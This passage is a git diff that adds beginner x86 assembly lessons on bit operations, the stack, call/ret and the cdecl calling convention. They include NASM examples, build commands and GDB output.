+`xor`, on the other hand, **flips**. If you `xor` a bit with `1`, it turns to its opposite (`0→1`, `1→0`); if you `xor` it with `0`, it stays as is. So it means "flip these bits." But where `xor` is really famous is the little magic — pardon, little **trick** — in the next section.
+
+> 🔑 `or` **sets** a bit (definitely makes the mask's 1's into 1); `xor` **flips** a bit (turns the mask's 1's to their opposite). `and` filters/wipes, `or` sets, `xor` flips — three stencil operations.
+
+---
+
+## `xor eax, eax`: The Most Common 'Zero It Out'
+
+When you look at assembly code, you'll see this almost everywhere:
+
+```nasm
+xor eax, eax
+```
+
+At first glance it's odd: "xor eax with eax"? Look at the truth table — `xor` was asking "are the two bits **different**?" But if you xor a number with **itself**, each bit meets itself: `0 xor 0 = 0`, `1 xor 1 = 0`. Since every column is the same, **they all come out 0.** So `xor eax, eax` **zeroes out** eax, no matter what's inside it.
+
+`xorsifir.asm`:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 123 ; full inside
+ xor eax, eax ; xor with itself → 0
+ mov ebx, eax
+ mov eax, 1
+ int 0x80
+```
+
+Let's catch the exact moment in GDB:
+
+```
+(gdb) starti
+(gdb) si # mov eax, 123
+(gdb) info registers eax
+eax 0x7b 123
+(gdb) si # xor eax, eax
+(gdb) info registers eax
+eax 0x0 0
+```
+
+`123` (`0x7b`) became `0` in an instant. `echo $?` also gives `0`.
+
+So why this instead of `mov eax, 0`? Both zero out eax — but `xor eax, eax` takes up **less** space in machine code (and the processor loves it). This is why it's the *idiomatic* way to say "zero it out"; in other people's code you'll see `xor eax, eax` far more often than `mov eax, 0`. Now when you see it, you'll know what it is: "this just means eax = 0."
+
+> 🔑 `xor eax, eax` = **zero out eax.** When a number is xored with itself, each bit becomes `1 xor 1 = 0` / `0 xor 0 = 0` → all 0. Same result as `mov eax, 0` but encoded shorter; that's why it's the standard idiom for "zero it out." Don't stumble when you see it.
+
+---
+
+## Shifting: `shl` / `shr` = Fast ×2 and ÷2
+
+The last two bit instructions **shift bits sideways**:
+
+- `shl destination, n` → **shift left:** push all bits `n` places to the **left**, fill in with zeros from the right.
+- `shr destination, n` → **shift right:** push all bits `n` places to the **right**.
+
+Their magic comes from 03. In a decimal number, pushing a digit left and putting a 0 on the right (`5` → `50`) makes the number **×10**. Since binary's base is 2, shifting left by one is **×2**:
+
+```
+ 5 = 0000 0101
+ 5<<1 = 0000 1010 = 10 (×2)
+ 5<<3 = 0010 1000 = 40 (×2×2×2 = ×8)
+```
+
+`kaydir.asm`, `mov eax, 5` + `shl eax, 3`:
+
+```
+40
+```
+
+`5 << 3 = 5 × 2³ = 5 × 8 = 40`. The same logic in reverse: `shr` is **÷2** at each step. `kaydir2.asm`, `mov eax, 20` + `shr eax, 2`:
+
+```
+5
+```
+
+`20 >> 2 = 20 ÷ 2² = 20 ÷ 4 = 5`. Processors love this: a shift is **much faster** than a full multiply/divide. That's why, when multiplication/division by a power of 2 is needed, compilers often use `shl`/`shr` — so later, when you look at a C program's assembly (lesson 19) and see `shl ..., 3` instead of `× 8`, don't be surprised.
+
+> 🔑 `shl x, n` = shift bits left = **× 2ⁿ**; `shr x, n` = shift right = **÷ 2ⁿ**. In binary, "push left, add zero" is just like "×10" in decimal, but ×2. It's the fast way to multiply/divide; it comes free for powers of 2. (Small caveat: `shr`'s "÷2" holds only for unsigned numbers — to divide a negative number you need `sar`; `shl`, on the other hand, is a clean ×2 in both cases.)
+
+---
+
+## Paying the Debt: `test` Was Really `and`
+
+Now we can open the closed box I left back in 10 and 11. `test` is the **"result thrown away"** form of an operation you learned in this lesson — just as `cmp` is the result-thrown-away form of `sub` (10):
+
+```
+ cmp = sub but throws away the result, only sets flags
+ test = and but throws away the result, only sets flags
+```
+
+So `test eax, eax` does `eax and eax` inside (it doesn't write the result anywhere), it only looks at the flags. Since `x and x = x`, the result is eax itself; if eax is **zero**, the result is zero → **ZF is set.** This is exactly the "is eax zero?" from 10.
+
+And `test eax, 1`? Now it's plain: `eax and 1` = **only the lowest bit**. If the lowest bit is 1 (odd number), the result is not zero → ZF off; if it's 0 (even), the result is zero → ZF on. This was the whole mechanism of the even-odd test in 11 — the flag version of this section's `vetek.asm` (`7 and 1 = 1`).
+
+> 🔑 `test a, b` = `and a, b` but throws away the result, only sets flags (the same as `cmp`'s relationship to `sub`). `test eax, eax` → "is eax zero" (ZF); `test eax, 1` → "is eax odd" (lowest bit). This was the closed box in 10-11; now you've seen it.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ Bit operations process a number BIT BY BIT (NO carry, digits don't mix). Truth table:
+ and = are both 1 | or = is at least one 1 | xor = are they different (one 1 one 0)
+☐ and = MASK/FILTER: what's 1 in the mask passes, what's 0 gets wiped. 13 and 6 = 4 ; x and 1 = lowest bit (odd/even).
+☐ or = SET a bit (definitely make it 1): 12 or 3 = 15.
+☐ xor = FLIP a bit (opposite). SPECIAL: xor eax, eax = ZERO OUT eax (xor with itself → always 0). The short/idiomatic form of mov eax,0.
+☐ shl x, n = shift left = × 2ⁿ (5 << 3 = 40).
+ shr x, n = shift right = ÷ 2ⁿ (20 >> 2 = 5). The fast way to multiply/divide (powers of 2).
+ Note: shr's ÷2 is only for unsigned numbers; to divide a negative you need sar.
+☐ DEBT PAID: test = and but throws away the result (same idea as cmp = sub but throws away the result).
+ test eax,eax → "is it zero" (ZF) ; test eax,1 → "is it odd". This was the closed box in 10-11.
+☐ Verified: 13&6=4, 12|3=15, xor eax,eax→0 (gdb 123→0), 7&1=1, 5<<3=40, 20>>2=5.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [03_sayilar_ikilik_onaltilik.md](./03_sayilar_ikilik_onaltilik.md) — Bits, binary digits, and the root of the "shift left = ×base" intuition
+- [10_bayraklar_ve_cmp.md](./10_bayraklar_ve_cmp.md) — The idea that `test` is the "throw away the result, set flags" sibling; `cmp = sub`'s counterpart here
+- [11_ziplamalar.md](./11_ziplamalar.md) — The even-odd decision with `test eax, 1`; its mechanism (`and`) was opened right here in this lesson
+- [09_aritmetik.md](./09_aritmetik.md) — The "carry-bearing" nature of addition; its contrast with the "carry-free" nature of bit operations
+
+---
+
+**Previous topic:** [12_donguler.md](./12_donguler.md)
+**Next topic:** [14_stack.md](./14_stack.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/14_stack.md b/docs/eng/konu_anlatimlari/x86_assembly/14_stack.md
new file mode 100644
index 0000000..7b296a6
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/14_stack.md
@@ -0,0 +1,162 @@
+# 🗂️ x86 Assembly — The Stack: The Worker's Notebook
+
+> You finished Unit 2: the worker now does arithmetic (09), makes decisions (10-11), builds loops (12), plays with bits (13). But there's a problem, and it will only grow: **too few hands.** We saw it in 04.5 — a handful of registers (eax, ebx, ecx...), and that's all. So what if you need to set aside more numbers than you can hold?
+> That's the subject of this unit: giving the worker a **notebook**. Its name is the **stack**, and as you'll see shortly, this notebook is also the foundation of the next two lessons — functions.
+
+> **There's code in this lesson and we run all of it.** Every program below, every exit code, and every GDB output is real: I compiled and ran it on my own machine.
+
+---
+
+## 📋 Table of Contents
+
+- [The Worker's Notebook: What Is the Stack?](#the-workers-notebook-what-is-the-stack)
+- [`push` / `pop`: Put on Top, Take from Top](#push--pop-put-on-top-take-from-top)
+- [LIFO: Last In, First Out](#lifo-last-in-first-out)
+- [`esp` and 'Why Does the Stack Grow Downward?'](#esp-and-why-does-the-stack-grow-downward)
+
+---
+
+## The Worker's Notebook: What Is the Stack?
+
+Registers are fast but **few** (04.5). When you need to do a new job in the middle of a calculation without losing a value you're holding, you have to **set it down** somewhere temporarily. You could open a named box in memory (`section .data`, 08) — but making up a name for every temporary value is tedious. You need something more practical: quickly "set this aside," then "take it back."
+
+That's what the **stack** is for: a special region of memory that the worker uses for temporary notes. The name fits perfectly — think of a **stack of plates**:
+
+- You put a new plate **on top** (`push`).
+- When you take a plate, you again take it **from the top** (`pop`).
+- You can't pull one out of the middle or from the bottom — always from the top.
+
+This "always from the top" rule looks simple but is very powerful; we'll give it a name shortly (LIFO). For now, the mental image: the stack = the worker's notebook, where notes are added on top and taken from the top.
+
+> 🔑 **Stack** = the region of memory used to set down temporary values and take them back; the worker's "notebook." It exists because registers are few. The rule: like a stack of plates, work is always done **from the top** — put on top, take from top.
+
+---
+
+## `push` / `pop`: Put on Top, Take from Top
+
+You talk to the stack with two instructions:
+
+- `push source` → **put** `source` **on top** of the stack.
+- `pop destination` → take the value at the **top** of the stack, put it in `destination` (and remove it from the top).
+
+So how does the worker know where the "top" is? A special register tracks it: **`esp`** (*stack pointer*). `esp` always holds the address of the value at the **top of the stack**; that is, `[esp]` (the square brackets from 08!) = the value on top.
+
+- When you `push`: `esp` points to a new location and the value is written there — the top rises.
+- When you `pop`: the value at `[esp]` is read and `esp` points to an older location — the top falls.
+
+This movement of `esp` holds the stack's most confusing yet most elegant detail (last section). First, let's see the instructions in action.
+
+> 🔑 `push x` = put x on top of the stack; `pop r` = take the top value into r (and remove it). The **`esp`** register always points to the top; `[esp]` = the value on top. `push` grows the top, `pop` shrinks it.
+
+---
+
+## LIFO: Last In, First Out
+
+The stack of plates' "always from the top" rule has a consequence: the last plate you put down is the first one you take back. This is called **LIFO** — *Last In, First Out*. Let's prove it with a program. `stack.asm` — let's put three numbers down in order and take them back in order:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ push dword 10 ; put: 10
+ push dword 20 ; put: 20 (on top of 10)
+ push dword 30 ; put: 30 (at the very top)
+ pop eax ; take: the top → 30
+ pop ebx ; take: the next → 20
+ pop ecx ; take: the next → 10
+ mov ebx, eax ; put what we took first (30) into the exit
+ mov eax, 1
+ int 0x80
+```
+
+A small detail: why is that `dword` there in `push dword 10`? `10` is a bare number; the assembler can't tell how many bytes to push it onto the stack as, so you tell it by saying `dword` (= 4 bytes). In `pop eax`, though, `eax` is a register whose size is already known (32-bit) — there you don't need to write `dword`.
+
+Follow the order: we put down `10, 20, 30` (30 was last, on top). When taking them back we started from the top: the first `pop` took **30** (the one we put down last), then 20, then 10. So they came back in **reverse** order. Run it:
+
+```
+nasm -f elf32 stack.asm -o stack.o
+ld -m elf_i386 stack.o -o stack
+./stack
+echo $?
+```
+
+```
+30
+```
+
+The first `pop` brought back the `30` we put down last — the exit code confirms it. **Last in, first out.** The order in was `10→20→30`, the order out was `30→20→10`. The stack's whole character is in that one word: LIFO.
+
+> 🔑 The stack is **LIFO** (Last In, First Out). `push 10,20,30` then `pop,pop,pop` → `30,20,10` (reversed). You always take back what you put down last; you can't reach into the middle or the bottom.
+
+---
+
+## `esp` and 'Why Does the Stack Grow Downward?'
+
+Now the loveliest detail. Your intuition probably says "as the stack grows, the addresses **increase**" — after all, we're stacking things on top. But the truth is exactly the opposite: **as the stack grows, `esp` GETS SMALLER.** The stack grows from the high addresses of memory **downward**, toward the small addresses. Let's watch `esp` at every `push` in GDB:
+
+```
+gdb ./stack
+(gdb) starti
+(gdb) print/x $esp # start
+(gdb) si # push 10
+(gdb) print/x $esp
+(gdb) x/1dw $esp # value on top
+... (repeat after each push)
+```
+
+Real output:
+
+```
+start esp = 0xffffc570
+after push 10, esp = 0xffffc56c top = 10
+after push 20, esp = 0xffffc568 top = 20
+after push 30, esp = 0xffffc564 top = 30
+after pop eax, esp = 0xffffc568 eax = 30
+```
+
+So who set that first `esp` value (`0xffffc570`) before you even did a single `push`? Not you: when the program starts, the operating system prepares the stack region and writes the top address into `esp` — the notebook comes already open, pen in hand. (The OS rules over memory and hardware; a closed box for now, we'll open it in 17.)
+
+Look at the addresses: at every `push`, `esp` decreased by exactly **4** (`c570 → c56c → c568 → c564`). Four each time, because a dword is 4 bytes (03/08). The value was written to that new (smaller) address — `[esp]` always points to the top. And when you did `pop eax`, `esp` went back **up by 4** (`c564 → c568`) and took the value (30). So:
+
+- **`push`** = decrease `esp` by 4, write the value there. (the top descends)
+- **`pop`** = take the value at `[esp]`, increase `esp` by 4. (the top rises)
+
+But why downward? The logic is this: think of memory as a street. The **program itself** (code and data) sits at the **bottom** end of the street (small addresses) — like the `0x8049000` you saw in 11. The stack is placed at the **top** end of the street (big addresses) and grows **downward**. This way the two start from opposite ends of the street and grow **toward each other**; both can use the space in the middle, and no room is wasted. If you grew both in the same direction, one would collide with the other sooner.
+
+> 🔑 The stack grows **downward**: `push` → `esp` **decreases by 4** (the top descends to a small address), `pop` → `esp` **increases by 4**. The reason: the program starts from the bottom of memory (small address), the stack from the top (big address); by growing in opposite directions they share the same gap without colliding. Counterintuitive but consistent.
+
+> 💡 **You might be wondering:** *"What is this LIFO / notebook going to be good for? Putting down and taking back three numbers is a bit of a toy."* You're right — its real power isn't on its own. The stack's real life begins in the next two lessons: **functions.** When a worker is about to "go do another job and come back," it writes down "where it will return to" and the values it's holding in this notebook (15), then reads them back when it returns. You learned `push`/`pop` now so that in 15 functions won't look like magic — just like "leaving a note on the stack."
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ STACK = the temporary-value region of memory; the worker's "notebook" (because registers are few). Like a stack of plates: always from the top.
+☐ push x = put x on top ; pop r = take the top value into r (and remove it).
+☐ the esp register ALWAYS points to the top; [esp] = the value on top.
+☐ LIFO (Last In First Out): push 10,20,30 → pop,pop,pop = 30,20,10 (reverse order). What you put down last comes out first.
+☐ The stack grows DOWNWARD (counterintuitive):
+ - push → esp DECREASES by 4 (dword=4 bytes), the value is written there.
+ - pop → the value is read, esp INCREASES by 4.
+ - gdb proof: esp c570→c56c→c568→c564 (each push -4), +4 back on pop.
+ - Why: the program from the bottom of memory, the stack from the top; growing in opposite directions they share the gap without colliding.
+☐ Why it matters: this is the foundation of functions (15). "Where I'll return to" + temporary values are written to the stack.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [04.5_registerin_ici.md](./04.5_registerin_ici.md) — The fact that registers are "few"; the stack is exactly the solution to that scarcity. `esp` is a register too
+- [08_mov_ve_bellek.md](./08_mov_ve_bellek.md) — `[...]` = "the box at the address"; `[esp]` = the value on top. The stack is memory after all
+- [08.5_little_endian.md](./08.5_little_endian.md) — The dwords written to the stack also sit in memory byte by byte; the same layout rule
+- [03_sayilar_ikilik_onaltilik.md](./03_sayilar_ikilik_onaltilik.md) — "Why 4?" — a dword is 4 bytes; the reason `esp` moves 4 at a time
+
+---
+
+**Previous topic:** [13_bit_islemleri.md](./13_bit_islemleri.md)
+**Next topic:** [15_call_ve_ret.md](./15_call_ve_ret.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/15_call_ve_ret.md b/docs/eng/konu_anlatimlari/x86_assembly/15_call_ve_ret.md
new file mode 100644
index 0000000..d15dd12
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/15_call_ve_ret.md
@@ -0,0 +1,173 @@
+# 📞 x86 Assembly — `call` and `ret`: Functions
+
+> In 14 we handed the worker a notepad (the stack) and left off with a small promise: *"the real life of the stack begins with functions; you learned `push`/`pop` so that in 15 functions won't look like magic, but like 'leaving a note on the stack.'"*
+> This is that moment. In this lesson we'll learn to write one piece of work **once and use it many times** — in programming this is called a **function**. And we'll see that the whole secret of functions is hidden in that simple stack you learned in 14.
+
+> **This lesson has code, and we run all of it.** Every program, every exit code, and every GDB output below is real: I assembled and ran it on my own machine.
+
+---
+
+## 📋 Table of Contents
+
+- [A Reusable Piece: The Function](#a-reusable-piece-the-function)
+- [What `jmp` Is Missing: But Where Do I Return To?](#what-jmp-is-missing-but-where-do-i-return-to)
+- [`call` and `ret`: Go and Come Back](#call-and-ret-go-and-come-back)
+- [Behind the Curtain: `call` = `push` + `jmp`](#behind-the-curtain-call--push--jmp)
+
+---
+
+## A Reusable Piece: The Function
+
+Say you need to do a job in **many places** in your program — for example, "add 5 to the number in hand." You could rewrite those three lines everywhere you need them, but that's both tiring and error-prone. Better: write that piece **once**, give it a name, and every time you need it just say "run this."
+
+That's exactly what a **function** is: a reusable piece of code that has a name. With the **label** you learned in 11 (`ekle5:`) you give the piece a name, then you call it from wherever you want. And the beauty of it: you can call the same piece **multiple times**. In this program we call `ekle5` twice:
+
+```nasm
+_start:
+ mov eax, 10
+ call ekle5 ; 10 + 5 = 15
+ call ekle5 ; 15 + 5 = 20 (reused the same piece)
+ ...
+ekle5:
+ add eax, 5
+ ret
+```
+
+This program gives `20` (we'll run it in a moment) — we used the three-line `ekle5` piece twice, without copying it at all. But how does "calling" (`call`) actually work? To understand that, let's first see why the only "go" instruction we have (`jmp`) isn't enough.
+
+> 🔑 **Function** = a reusable piece of code that has a name. Write it once, use it every time you call it. It's named with a label (11) and called with `call`. The goal: to avoid copy-paste.
+
+---
+
+## What `jmp` Is Missing: But Where Do I Return To?
+
+Your first instinct might be "I'll do `jmp ekle5`, done." The going part really is like that — but there's a problem: when `ekle5` finishes its work, **where does it return to?**
+
+Think about it: we called `ekle5` from two different places in the program. When `ekle5` finishes, sometimes it needs to return below the first call, sometimes below the second call. But `ekle5` itself is always the same — we can't write a fixed "return here" address into it, because the place to return to is **different on every call.**
+
+So the thing that's missing is **memory**: we need to **jot down** somewhere the fact of "where was I right before I called you?", and when the worker returns, to **read** that note. Leaving a temporary value somewhere and taking it back later... this should sound familiar — this is exactly the job of the **stack** from 14.
+
+> 🔑 `jmp` **goes** to the function but doesn't remember "where to return to." When the same function is called from different places the return point changes; that's why jotting down a **return address** somewhere is essential. That "somewhere" = the stack (14).
+
+---
+
+## `call` and `ret`: Go and Come Back
+
+x86 put these two jobs (go + remember the return / come back) into two instructions:
+
+- `call label` → **remember the return address, then go to `label`.**
+- `ret` → **return to the remembered return address.**
+
+The two are a pair: you go with `call`, you return with `ret`. You put `ret` at the end of the function; it means "return to whoever called me." `fonksiyon.asm`:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 10
+ call ekle5 ; go to ekle5 (and remember the return)
+ mov ebx, eax ; ← ekle5 returns here. result (15) to exit
+ mov eax, 1
+ int 0x80
+
+ekle5:
+ add eax, 5 ; eax += 5
+ ret ; return to the caller
+```
+
+Follow the flow: `eax = 10`, `call ekle5` → the worker goes to `ekle5`, does `add eax, 5` making `eax = 15`, says `ret` → returns to the line **right below** the `call` (`mov ebx, eax`). Run it:
+
+```
+nasm -f elf32 fonksiyon.asm -o fonksiyon.o
+ld -m elf_i386 fonksiyon.o -o fonksiyon
+./fonksiyon
+echo $?
+```
+
+```
+15
+```
+
+Now run the two-call version from the top (`fonksiyon2.asm`, `call ekle5` twice):
+
+```
+20
+```
+
+**There's your reusable piece.** You wrote `ekle5` once; call it once and you get 15, call it twice and you get 20. Every `call` went, made it do the work, and `ret` returned it to the right place. But how do `call`/`ret` pull off this "coming back" trick? Let's pull the curtain aside — and you'll see why 14 came right before this lesson.
+
+> 🔑 `call label` = remember the return address + go to the label. `ret` = return to the remembered address. You put `ret` at the end of the function. `call`/`ret` are a pair: one goes, one returns.
+
+---
+
+## Behind the Curtain: `call` = `push` + `jmp`
+
+Here's the secret, and it's not magic at all. `call ekle5` actually does two things:
+
+1. **`push`** — pushes the address of the next instruction (the return address) onto the stack.
+2. **`jmp ekle5`** — jumps to the function.
+
+And `ret` does just one thing: it **`pop`**s the address at the top of the stack and jumps there. So the "return address" is nothing but a note left on the stack from 14! Let's see this with our own eyes in GDB.
+
+First let's know the addresses from the disassembly — the instruction **after** `call` is `mov ebx, eax`, at address `0x804900a`:
+
+```
+ 8049005: call 8049013
+ 804900a: mov ebx,eax ← instruction after call = return address
+ ...
+ 8049013 : add eax,0x5
+ 8049016: ret
+```
+
+Now let's look at `esp` and the top of the stack before and after `call`:
+
+```
+call BEFORE esp = 0xffffc570 (next instruction = will be the return address: 0x804900a mov ebx,eax)
+call AFTER esp = 0xffffc56c stack top [esp] = 0x0804900a eip now: 0x8049013
+```
+
+Catch three things at once:
+
+1. **`esp` decreased by 4** (`c570 → c56c`) — that is, `call` did a **`push`** (14: push = esp−4).
+2. **`0x0804900a` was written to the top of the stack** — exactly the address of the instruction after `call` (`mov ebx, eax`). There's the **return address**, jotted into the notepad.
+3. **`eip` jumped to `0x8049013`** (`ekle5`) — we went to the function.
+
+`call` = "jot the return address onto the stack, then leap to the function." When the function finishes its work and says `ret`, that note (`0x804900a`) is `pop`ped from the stack and the worker returns right there. If you call from different places, a different return address is jotted down each time — the problem `jmp` couldn't solve is solved with a single `push`/`pop`.
+
+> 🔑 `call` = **`push` (return address) + `jmp` (to the function)**; `ret` = **`pop` (return address) + go there.** The return address is a note left on the stack (14!). Functions aren't magic; they're just jumps that "write onto the stack where to return to." That's why 14 came right before 15.
+
+> ⚠️ Small but critical: if you `push` inside the function and forget the balancing `pop`, `ret` will find **the value you left** at the top of the stack instead of the return address and "return" there — the program crashes or goes haywire. How we keep the stack **balanced** inside a function (and how we pass data to a function) is exactly the topic of lesson 16.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ FUNCTION = a reusable piece of code that has a name (named with a label, called with call). Avoids copy-paste.
+☐ Why jmp isn't enough: it goes but doesn't remember "where to return to." Different call sites → different return point.
+☐ call label = REMEMBER the return address + go to the label. ret = RETURN to the remembered address. (A pair; end of function = ret.)
+☐ BEHIND THE CURTAIN (no magic):
+ - call = push (return address = address of the instruction after call) + jmp (to the function).
+ - ret = pop (return address) + go there.
+ - Return address = a note left on the stack from 14.
+ - gdb proof: at call esp c570→c56c (-4 = push), [esp]=0x804900a (instruction after call), eip→ekle5.
+☐ Verified: one call 10+5=15 ; two calls 10+5+5=20 (same piece reused).
+☐ WATCH OUT: if push/pop is unbalanced inside a function ret returns to the wrong place → crash. Balance + passing data = lesson 16.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [14_stack.md](./14_stack.md) — the foundation `call`/`ret` is built on; the return address is a note `push`ed onto the stack. This lesson wouldn't exist without 14
+- [11_ziplamalar.md](./11_ziplamalar.md) — `call` is essentially a `jmp` (+ a return address); labels come from here too
+- [09_aritmetik.md](./09_aritmetik.md) — the `add` inside `ekle5`; functions package up familiar instructions
+- [04.5_registerin_ici.md](./04.5_registerin_ici.md) — `eip` ("where am I"); `call`/`ret` are really about managing `eip` through the stack
+
+---
+
+**Previous topic:** [14_stack.md](./14_stack.md)
+**Next topic:** [16_calling_convention.md](./16_calling_convention.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/16_calling_convention.md b/docs/eng/konu_anlatimlari/x86_assembly/16_calling_convention.md
new file mode 100644
index 0000000..ae74cc0
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/16_calling_convention.md
@@ -0,0 +1,198 @@
+# 📜 x86 Assembly — Calling Convention: Giving Data to a Function
+
+> In 15 we wrote a function called `ekle5`, but we pulled a little trick: the function took its data straight from `eax` and left the result back in `eax` — we just said "everyone use eax" and moved on. Real functions don't work like that.
+> Because you have to tell a real function **"add these two numbers"**: how do you *give* it the numbers? Where do you *collect* the result from? And that "stack balance" business I warned about at the end of 15 — whose responsibility is it? That's the subject of this lesson: a shared **contract** everyone abides by.
+
+> **This lesson has code and we run all of it.** Every program, every exit code, and every GDB output below is real: I compiled and ran them on my own machine.
+
+---
+
+## 📋 Table of Contents
+
+- [We Need a Contract: cdecl](#we-need-a-contract-cdecl)
+- [Pass Arguments via the Stack, Get the Result in `eax`](#pass-arguments-via-the-stack-get-the-result-in-eax)
+- [The `ebp` Anchor: Prologue and `[ebp+8]`](#the-ebp-anchor-prologue-and-ebp8)
+- [All Together: `Topla(3, 5)`](#all-together-topla3-5)
+
+---
+
+## We Need a Contract: cdecl
+
+There is no "natural" way to give data to a function — someone has to **set the rules**. The caller and the callee are two separate pieces of code; if they don't agree, it's chaos. For example:
+
+- Should the caller put the numbers in `eax`/`ebx`, or on the stack?
+- Where should the function leave its result so the caller can find it?
+- If the function trashes `ecx` while running, does the caller's `ecx` get destroyed?
+- Who cleans up the arguments pushed onto the stack afterward?
+
+We need an **agreement** whose answers to these questions everyone knows in advance. This agreement is called a **calling convention**. There is no single "right" one — different systems have different conventions. On **32-bit Linux** the most common is **cdecl**; that's the one we'll learn.
+
+cdecl's three core rules (the rest is detail):
+
+1. **Arguments are pushed onto the stack** — and moreover **right to left** (last argument first).
+2. **The return value comes back in `eax`.**
+3. **The caller cleans up the arguments** (not the function).
+
+(The answer to the question we asked above — *"if `ecx` gets trashed, does the caller's `ecx` get destroyed?"* — is also part of this contract: which register is preserved by whom is bound to a definite rule. But that's a detail — for now these three rules are enough to write `Topla`, so we won't get into that subtlety.)
+
+Now let's see each of these one by one, with running code.
+
+> 🔑 **Calling convention** = the agreement between the caller and the function about "where we'll put the data, where we'll get the result from, who will clean up." There's no single right answer; on 32-bit Linux the standard is **cdecl**: arguments on the stack (right to left), result in `eax`, cleanup on the caller.
+
+---
+
+## Pass Arguments via the Stack, Get the Result in `eax`
+
+In 15 we looked for a way to give data to a function and saw that we put the return address on the stack. Arguments go to the same place: **before calling, you `push` them onto the stack.** cdecl wants them **right to left** — that is, for `Topla(3, 5)` you push `5` first, then `3`:
+
+```nasm
+ push dword 5 ; 2nd argument first (right to left)
+ push dword 3 ; 1st argument after
+ call topla
+```
+
+Why reversed? This way, **right before `call`**, the 1st argument sits at the top of the stack; when `call` pushes the return address on top of it (15), the top becomes the **return address** again, and the 1st argument stays right **below** it (closest to the return address) — so when the function asks "where's my first argument?" it looks at a consistent spot. We'll see its exact address in a moment.
+
+The result comes back in `eax` (rule 2) — after all, `ekle5` in 15 already left its result in eax; cdecl just makes this an official rule. When the function returns, the caller looks at `eax` and finds the result there.
+
+> 🔑 Arguments are `push`ed onto the stack **before** `call`, in cdecl **right to left** (last argument pushed first → first argument stays on top). The return value comes in **`eax`**. Data going in: stack; result coming back: eax.
+
+---
+
+## The `ebp` Anchor: Prologue and `[ebp+8]`
+
+How will the function reach the arguments? First idea: "they're at the top of the stack, I'll read them with `[esp+...]`." But there's a trap: inside the function every `push`/`pop`, and `call`, means **`esp` keeps moving** (14). Sometimes you'd look for the argument at `[esp+4]`, a moment later at `[esp+12]` — shifting ground. We need a fixed reference.
+
+The solution is to make one register a **fixed anchor**: **`ebp`** (*base pointer*). At the start of the function you copy `esp`'s current value into `ebp`; then no matter how much `esp` moves, `ebp` **doesn't budge** and you always read the arguments relative to it. These two setup lines are called the **prologue**:
+
+```nasm
+topla:
+ push ebp ; save the caller's ebp (they need it, don't trash it)
+ mov ebp, esp ; ebp = current top → fixed anchor
+```
+
+(In this first example the caller is `_start`; it hadn't written anything meaningful into `ebp`, so the **content** of the value we save is unimportant. But **the line itself** matters: most callers have a real `ebp` that needs to be preserved — you'll see it with C functions in 19 — so the pattern saves the caller's `ebp` whoever the caller is. Here it's just protecting that "empty" one.)
+
+After these two lines the stack is laid out like this (from 14: up = larger address). `ebp` is now fixed; relative to it, the arguments:
+
+```
+ [ebp + 12] → 2nd argument (5)
+ [ebp + 8] → 1st argument (3)
+ [ebp + 4] → return address (put by call, 15)
+ [ebp + 0] → saved old ebp ← ebp points here
+```
+
+So the **1st argument is always `[ebp+8]`**, the 2nd argument `[ebp+12]` — it doesn't change no matter what `esp` does. (Why 8? `[ebp]` holds the old ebp, `[ebp+4]` holds the return address; the arguments are above them, starting at +8.) When the work is done you return the anchor and the stack to their old state — this is called the **epilogue**:
+
+```nasm
+ pop ebp ; give the caller's ebp back
+ ret ; go to the return address (15)
+```
+
+> 🔑 Because `esp` keeps moving, reading arguments relative to it is fragile; instead you make **`ebp` a fixed anchor**. The **prologue** (`push ebp` / `mov ebp, esp`) sets up the anchor; now the **1st argument is `[ebp+8]`**, the 2nd is `[ebp+12]`. The **epilogue** (`pop ebp` / `ret`) restores the old state. Nearly every function begins and ends with this pattern.
+
+---
+
+## All Together: `Topla(3, 5)`
+
+Let's gather all three rules into a single program. `topla_fn.asm` — a real `Topla(3, 5)` call:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ push dword 5 ; 2nd argument (right to left)
+ push dword 3 ; 1st argument
+ call topla ; Topla(3, 5)
+ add esp, 8 ; CALLER cleans up: 2 arguments × 4 bytes = 8
+ mov ebx, eax ; return value in eax → to exit
+ mov eax, 1
+ int 0x80
+
+topla:
+ push ebp ; --- prologue ---
+ mov ebp, esp
+ mov eax, [ebp+8] ; 1st argument (3)
+ add eax, [ebp+12] ; + 2nd argument (5) → eax = 8 (return value)
+ pop ebp ; --- epilogue ---
+ ret
+```
+
+There's just one new piece: the `add esp, 8` after `call`. This is **rule 3** — the caller cleans up the 2 arguments (2 × 4 = 8 bytes) it pushed onto the stack. Why `add` and not `sub`? The stack grows downward (toward smaller addresses) (14); when you `push`ed the arguments, `esp` had **decreased** by 8, so cleanup **increases** it back by 8 — "erasing" here means moving `esp` above where we pushed, back up to the old top. (Recall the warning from 15: if the stack doesn't stay balanced, things break. Since it's the caller that pushes the arguments, it's also the one that cleans them.) Run it:
+
+```
+nasm -f elf32 topla_fn.asm -o topla_fn.o
+ld -m elf_i386 topla_fn.o -o topla_fn
+./topla_fn
+echo $?
+```
+
+```
+8
+```
+
+`Topla(3, 5) = 8`. Replace the arguments with two different numbers (`push 20` / `push 10`, i.e. `Topla(10, 20)`):
+
+```
+30
+```
+
+Same function, different arguments, correct result. Let's verify in GDB that the function really reads its arguments from `[ebp+8]`/`[ebp+12]` — after the prologue:
+
+```
+gdb ./topla_fn
+(gdb) break topla
+(gdb) run
+(gdb) si # push ebp
+(gdb) si # mov ebp, esp (anchor set up)
+(gdb) x/1dw $ebp+8 # 1st argument
+(gdb) x/1dw $ebp+12 # 2nd argument
